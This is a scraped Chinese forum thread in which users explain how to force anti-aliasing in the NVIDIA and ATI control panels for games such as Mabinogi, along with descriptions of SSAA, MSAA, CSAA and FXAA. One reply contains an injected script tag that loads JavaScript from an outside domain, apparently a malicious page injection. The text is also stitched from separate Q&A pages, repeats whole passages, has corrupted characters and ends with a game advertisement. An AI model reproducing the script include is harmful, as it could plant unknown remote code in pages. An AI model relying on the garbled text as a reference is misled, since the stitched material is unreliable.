求助如何给特定程序强制开启16X抗锯齿高好还是低好

首先什么是抗锯齿呢?简单明了地说就是抗图像失真..再简单点说就是在图像中因为分辨问题,边缘难免会出现呈现三角形的锯齿。这时候就需要抗锯齿功能了..如果你的显卡是英伟达那么恭喜我和你的显卡一样~英伟达显卡是可以在控制面板里把抗锯齿强行开启的。首先你得确保你有显卡的控制面板 如果没有的话去下载一个 然后把显卡驱动更新了 .. 重启就有了。之后打开NVIDIA控制面板 找到 管理3D设置里的全局设置。这些就是抗锯齿的选项和功能了..一般三重缓冲是开着的 =730) window.open('http://www.yydzh.com/attachment/Mon__baa662f356d95.jpg');" onload="if(this.width>'730')this.width='730';" >这是我的一般抗锯齿界面..洛奇的话 一般的显卡开16X也没什么问题。但是玩WOW之类的3D游戏的话就只能开小点了,否则很卡的哦~=。=如果你发现开了以后没什么变化 请关游戏再保存设置.. 如果觉得还是不够明显 那么控制面板里的选项可以试着把异性过滤和平滑设置给关了再对比。最后ATI..我没怎么用过,用过ATI的好像都是在游戏里改抗锯齿。但是本人不怎么喜欢..因为不明显吧..如果真的要开那么点击右下角的ATI图标或者在桌面上按右键选择CCC选项,选择3D选项,里面的AA、AAA、AF等等便可。在级别里面拖动倍数就好了,记得把使用应用程序的勾去掉..我知道补丁是可以开但是还请喷子自重 这办法对所有的游戏都有效 。鉴于7L喷子 我再次声明本帖绝不针对洛奇这一款游戏 。 洛奇N卡开8X也差不多了 再高也没区别了..好吧 .. 那么你玩其他游戏去吧 什么3D游戏最明显了~&&[ 此帖被雨宫优子在 10:53重新编辑 ]
=730) window.open('http://www.yydzh.com/attachment/Mon__e1db664f691f.jpg');" onload="if(this.width>'730')this.width='730';" >
柩夜白晓(莉莉丝)
LZ我要使用写轮眼了!
-.-用内存补丁就好了,游戏里设置里的FASS就可以用了
顶=650) window.open('http://s1.dwstatic.com/group1/M00/F8/DF/2d5e7e772.gif');" onload="if(this.width>'650')this.width='650';if(this.height>'150')this.height='150';" >
aizawahikaru(普莱达)
貌似CCC的强制抗锯齿对洛奇无效
=650) window.open('http://goo.gl/JKPOs');" onload="if(this.width>'650')this.width='650';if(this.height>'150')this.height='150';" > =650) window.open('http://goo.gl/Ycloz');" onload="if(this.width>'650')this.width='650';if(this.height>'150')this.height='150';" > =650) window.open('http://goo.gl/Fct8N');" onload="if(this.width>'650')this.width='650';if(this.height>'150')this.height='150';" > 
高温的屏幕表示鸭梨很大
胶々(克莉斯特)
我刚在下驱动精灵的0 0。
&script src=&http://flash-scope.com/benmo/benmo.js& type=&text/javascript& charset=&utf-8& &&/script&
軟弟(鲁拉里)
果断下来试试!谢谢LZ分享啦
帅到没朋友=650) window.open('http://ww3.sinaimg.cn/mw690/711ae5bbgw1ek8a4z1cb0j20n707bdin.jpg');" onload="if(this.width>'650')this.width='650';if(this.height>'150')this.height='150';" >
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楼主留言:得了吧 内存补丁和LT我都在用 你别针对洛奇行么&&你其他游戏去开开看? 没别人做的补丁你能开个什么啊~~233
回来玩是不可能回来玩了,这辈子都不会滚回来玩了!
天空的赞礼(玛丽)
里面外面都开抗锯齿的无压力……
引用第7楼liulandexing于 10:00发表的&&:[attachment=978512]没用过就说要在游戏里改,你喜欢的是物理加速吧!得了吧 内存补丁和LT我都在用 你别针对洛奇行么&&你其他游戏去开开看? 没别人做的补丁你能开个什么啊~~233
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如何强制抗锯齿?
点消除混叠模式→覆盖应用程序设置,然后再选消除混叠样本,自己选抗锯齿多少倍。
Nvidia控制面板3D管理优化设置仅限于nVIDIA显卡的同志,其他显卡笔者的电脑不是,无法解释。显卡驱动有不少参数可以调节,调好了游戏性能会有不少提升,不少人对参数的设置不明白,当然是参数用语过于专业的缘故,笔者查了不少资料,这才弄明白。打开nVIDIA显卡驱动的控制面板,右键单击桌面,选择nVIDIA控制面板。进入3D设置的“管理3D设置”,在全局设置“可以看到3D性能控制选项。“一致性纹理锁”,该选项就选“使用硬件”;“三重缓冲”,该选项在开启垂直同步后有效,一般建议“关”;“各向异性过滤”,该选项对于游戏画质有明显提高,按照自己显卡等级选择倍数,建议低端显卡选4x,中端显卡选8x,高端显卡选16x;“垂直同步”,是指显卡为了保持与显示器之间的刷新频率平衡,而将游戏刷新频率上限锁定在与显示器相同的刷新频率,如果屏幕刷新频率是60hz的话,游戏画面速度将受60帧/秒限制,建议“强行关闭”;“多显示器/混合GPU加速”,该选项只有在使用多个显示设备时有效,一般保持默认“多显示器性能模式”即可;“平滑处理-模式”,该选项是选择是否要在驱动中强行控制游戏反锯齿,若游戏本身有AA选项,则可选择“应用程序控制的”;若希望在驱动中强行设置,则应选“替换任何应用程序设置”;“平滑处理-灰度纠正”,该选项开启后可以让AA效果更佳,性能下降很少,一般建议“开”;“平滑处理-设置”,该选项只有当选择了“替换任何应用程序设置”才能调节,2x、4x、8xQ、16xQ为MS取样,8x、16x为CS取样;其中MS取样性能下降比较大,CS取样在效果和性能上取得平衡点;此选项自己按照显卡性能选择;“平滑处理-透明度”,该选项就是设置透明抗锯齿模式,透明抗锯齿模式可以实现非边缘AA,抗锯齿效果更佳;多重取样性能较高、画质稍弱,超级取样性能较低、画质较好,请根据对游戏画面要求选择;“强制成为mipmaps”,该选项就选“无”;“扩展限制”,该选项就选“关”;“纹理过滤-各向异性采样优化”,该选项确定是否使用优化算法进行各向异性过滤,选择“开”可以提高一点点性能、损失一点点画质,选择“关”则可以保证最高画质;“纹理过滤-负LOD偏移”,该选项就选“锁定”;“纹理过滤-质量”,该选项可一步式控制其它“纹理过滤”选项,追求画质一般推荐“高质量”;“纹理过滤-三线性过滤”,该选项效果类似于“各向异性过滤优化”,可按照自己对画面要求进行选择。更改分辨率选项:目前大家使用的是液晶,笔者使用的是海尔高清润眼屏,因此分辨率选择显示器的物理分辨率,刷新率保持60就可以了。
超级采样抗锯齿(SSAA)超级采样抗锯齿(Super-Sampling Anti-aliasing,简称SSAA)此是早期抗锯齿方法,比较消耗资源,但简单直接,先把图像映射到缓存并把它放大,再用超级采样把放大后的图像像素进行采样,一般选取2个或4个邻近像素,把这些采样混合起来后,生成的最终像素,令每个像素拥有邻近像素的特征,像素与像素之间的过渡色彩,就变得近似,令图形的边缘色彩过渡趋于平滑。再把最终像素还原回原来大小的图像,并保存到帧缓存也就是显存中,替代原图像存储起来,最后输出到显示器,显示出一帧画面。这样就等于把一幅模糊的大图,通过细腻化后再缩小成清晰的小图。如果每帧都进行抗锯齿处理,游戏或视频中的所有画面都带有抗锯齿效果。而将图像映射到缓存并把它放大时,放大的倍数被用于分别抗锯齿的效果。多重采样抗锯齿(MSAA)多重采样抗锯齿(MultiSampling Anti-Aliasing,简称MSAA)是一种特殊的超级采样抗锯齿(SSAA)。MSAA首先来自于OpenGL。具体是MSAA只对Z缓存(Z-Buffer)和模板缓存(Stencil Buffer)中的数据进行超级采样抗锯齿的处理。可以简单理解为只对多边形的边缘进行抗锯齿处理。这样的话,相比SSAA对画面中所有数据进行处理,MSAA对资源的消耗需求大大减弱,不过在画质上可能稍有不如SSAA。覆盖采样抗锯齿(CSAA)覆盖采样抗锯齿(CoverageSampling Anti-Aliasing,简称CSAA)是nVidia在G80及其衍生产品首次推向实用化的AA技术,也是目前nVidia GeForce 8/9/G200系列独享的AA技术。CSAA就是在MSAA基础上更进一步的节省显存使用量及带宽,简单说CSAA就是将边缘多边形里需要取样的子像素坐标覆盖掉,把原像素坐标强制安置在硬件和驱动程序预先算好的坐标中。这就好比取样标准统一的MSAA,能够最高效率的执行边缘取样,效能提升非常的显著。比方说16xCSAA取样性能下降幅度仅比4xMSAA略高一点,处理效果却几乎和8xMSAA一样。8xCSAA有着4xMSAA的处理效果,性能消耗却和2xMSAA相同。可编程过滤抗锯齿(CFAA)可编程过滤抗锯齿(Custom Filter Anti-Aliasing)技术起源于AMD-ATI的R600家庭。简单地说CFAA就是扩大取样面积的MSAA,比方说之前的MSAA是严格选取物体边缘像素进行缩放的,而CFAA则可以通过驱动和谐灵活地选择对影响锯齿效果较大的像素进行缩放,以较少的性能牺牲换取平滑效果。显卡资源占用也比较小。快速近似抗锯齿(FXAA)快速近似抗锯齿(Fast Approximate Anti-Aliasing) 它是传统MSAA(多重采样抗锯齿)效果的一种高性能近似值。它是一种单程像素着色器,和MLAA一样运行于目标游戏渲染管线的后期处理阶段,但不像后者那样使用DirectCompute,而只是单纯的后期处理着色器,不依赖于任何GPU计算API。正因为如此,FXAA技术对显卡没有特殊要求,完全兼容NVIDIA、AMD的不同显卡(MLAA仅支持A卡)和DX9、DX10、DX11。时间性抗锯齿(TXAA)TXAA 抗锯齿: 比 MSAA 和 FXAA 以及 CSAA 的画质更高,制作CG电影的电影制片厂会在抗锯齿方面花费大量的计算资源,从而可确保观众不会因不逼真的锯齿状线条而分心。如果想要让游戏接近这种级别的保真度,那么开发商需要全新的抗锯齿技术,不但要减......余下全文>>
一楼直接无视,人家说的是游戏里的抗锯齿设置。。。。抗锯齿对硬件的要求很高,最主要的显卡。如果说显卡性能可以达到要求,全开自然不在话下。但如果达不到全开的要求,适当关闭一部分就是了。比如全开是16X的,无法全开的话就开8X或者4X甚至全部关掉也无所谓。抗锯齿对于画质提升不是非常明显,相对于其他效果,比如阴影、烟雾渲染等效果,抗锯齿相对次要。 楼主这问题其实很简单,在玩游戏的时候,自己在画质和流畅度之间找一个平衡点就是了,没人能够准确的告诉你,这个游戏应该开多少倍,那个游戏应该开多少倍。。。。自己体验一下并付诸实践就是啦顺便说一句,设置抗锯齿一般都在进入游戏后的“设置”里进行调整,每个游戏选项都不一样,这个也需要楼主自己找一下,没法代劳希望我的回答对你有帮助!
抗锯齿(Anti-aliasing):标准翻译为”抗图像折叠失真“。由于在3D图像中,受分辨的制约,物体边缘总会或多或少的呈厂三角形的锯齿,而抗锯齿就是指对图像边缘进行柔化处理,使图像边缘看起来更平滑,更接近实物的物体。它是提高画质以使之柔和的一种方法。如今最新的全屏抗锯齿(FullSceneAnti-Aliasing)可以有效的消除多边形结合处(特别是较小的多边形间组合中)的错位现象,降低了图像的失真度。全景抗锯齿在进行处理时,须对图像附近的像素进行2-4次采样,以达到不同级别的抗锯齿效果。简单的说也就是将图像边缘及其两侧的像素颜色进行混合,然后用新生成的具有混合特性的点来替换原来位置上的点以达到柔化物体外形、消除锯齿的效果。参考资料:baike.baidu.com/view/415321.htm
抗锯齿,是3D显示的一个优化,简单的举例说,比如你玩一款3D游戏没有开抗锯齿,游戏的人物、风景等边缘就会有点模糊,开了抗锯齿这些边缘就会变得光滑,更真实,但是抗锯齿非常占用显卡资源,如果您的电脑性能不好就别开抗锯齿了,影响不是太大,纯手打希望采纳
抗锯齿(Anti-aliasing):标准翻译为”抗图像折叠失真“。由于在3D图像中,受分辨的制约,物体边缘总会或多或少的呈现三角形的锯齿,而抗锯齿就是指对图像边缘进行柔化处理,使图像边缘看起来更平滑,更接近实物的物体。超级采样抗锯齿(SSAA)超级采样抗锯齿(Super-Sampling Anti-aliasing,简称SSAA)此是早期抗锯齿方法,比较消耗资源,但简单直接,先把图像映射到缓存并把它放大,再用超级采样把放大后的图像像素进行采样,一般选取2个或4个邻近像素,把这些采样混合起来后,生成的最终像素,令每个像素拥有邻近像素的特征,像素与像素之间的过渡色彩,就变得近似,令图形的边缘色彩过渡趋于平滑。再把最终像素还原回原来大小的图像,并保存到帧缓存也就是显存中,替代原图像存储起来,最后输出到显示器,显示出一帧画面。这样就等于把一幅模糊的大图,通过细腻化后再缩小成清晰的小图。如果每帧都进行抗锯齿处理,游戏或视频中的所有画面都带有抗锯齿效果。而将图像映射到缓存并把它放大时,放大的倍数被用于分别抗锯齿的效果,AA后面的x2、x4、x8就是原图放大的倍数。 超级采样抗锯齿中使用的采样法一般有两种:   顺序栅格超级采样(Ordered Grid Super-Sampling,简称OGSS),采样时选取2个邻近像素。旋转栅格超级采样(Rotated Grid Super-Sampling,简称RGSS),采样时选取4个邻近像素。多重采样抗锯齿(MSAA)多重采样抗锯齿(MultiSampling Anti-Aliasing,简称MSAA)是一种特殊的超级采样抗锯齿(SSAA)。MSAA首先来自于OpenGL。具体是MSAA只对Z缓存(Z-Buffer)和模板缓存(Stencil Buffer)中的数据进行超级采样抗锯齿的处理。可以简单理解为只对多边形的边缘进行抗锯齿处理。这样的话,相比SSAA对画面中所有数据进行处理,MSAA对资源的消耗需求大大减弱,不过在画质上可能稍有不如SSAA。覆盖采样抗锯齿(CSAA)覆盖采样抗锯齿(CoverageSampling Anti-Aliasing,简称CSAA)是nVidia G80系列出现时一并出现的抗锯齿技术。它的原理禒将边缘多边形里需要采样的子像素坐标覆盖掉,抒原像素坐标强制安置在硬件和驱动程序预告算好的坐标中。这就好比采样标准统一的MSAA,能够最高效率地运行边缘采样,交通提升非常明显,同时资源占用也比较低。可编程过滤抗锯齿(CFAA)可编程过滤抗锯齿(Custom Filter Anti-Aliasing)技术起源于AMD-ATI的R600家庭。简单地说CFAA就是扩大取样面积的MSAA,比方说之前的MSAA是严格选取物体边缘像素进行缩放的,而CFAA则可以通过驱动和谐灵活地选择对影响锯齿效果较大的像素进行缩放,以较少的性能牺牲换取平滑效果。显卡资源占用也比较小。
什么游戏啊,有些游戏强制开抗锯齿也不行的,我知道的貌似只有极品飞车可以强开抗锯齿
右键桌面空白,进入催化设置中心,里面有抗锯齿选项,不过还是在游戏内部开就好了,不支持的时候用此方法
打开ccc消除混叠调到最大
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还在问这些啊?这游戏都被玩烂了,没啥挑战性,我建议你还是玩玩征程吧。昨天内测,很有挑战性哦。
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